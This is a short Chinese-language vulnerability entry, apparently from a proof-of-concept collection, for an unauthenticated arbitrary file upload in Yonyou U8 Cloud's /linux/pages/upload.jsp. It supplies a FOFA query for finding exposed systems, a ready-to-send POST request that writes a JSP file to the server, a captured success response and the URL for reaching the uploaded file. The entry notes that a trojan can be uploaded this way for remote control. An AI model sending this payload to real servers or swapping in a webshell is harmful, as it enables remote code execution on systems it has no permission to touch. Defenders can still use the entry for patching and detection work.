

Y3-14用友-U8-Cloud-文件上传

漏洞描述:

用友U8 Cloud upload.jsp接口存在任意文件上传漏洞，攻击者可通过该漏洞上传木马，远程控制服务器。

网站图片:



请下载新版UClient
开启U8 cloud云端之旅

立即下载



网络测绘:

fofa语法:

FOFA: app="用友-U8-Cloud"

漏洞复现:

payload:

```
POST /linux/pages/upload.jsp HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
filename: rce.jsp

<% out.println("Hello,U8C");%>
```

效果图:

Request

```
1 POST /linux/pages/upload.jsp HTTP/1.1
2 Host: 192.168.1.94:8088
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
4 Accept-Encoding: gzip, deflate
5 Accept: */*
6 Connection: close
7 Content-Type: application/x-www-form-urlencoded
8 filename: rce.jsp
9
10 <% out.println("Hello,U8C");%>
```

Responses 219bytes / 52ms

```
1 HTTP/1.1 200 OK
2 Server: Apache-Coyote/1.1
3 Set-Cookie: JSESSIONID=9B9C7AAAB182E4B976
4 Content-Type: text/html; charset=utf-8
5 Date: Tue, 12 Dec 2023 12:34:46 GMT
6 Connection: close
7 Content-Length: 219
8
9 <html>
10 <head>
11
12
13 <meta http-equiv="Content-Type" content="
14 <title>This page for response</title>
15 </head>
16 <body>...
17 No login!30File upload success!md5sum=...
18 ...
```

验证url

http://your-ip/linux/上传文件名.jsp

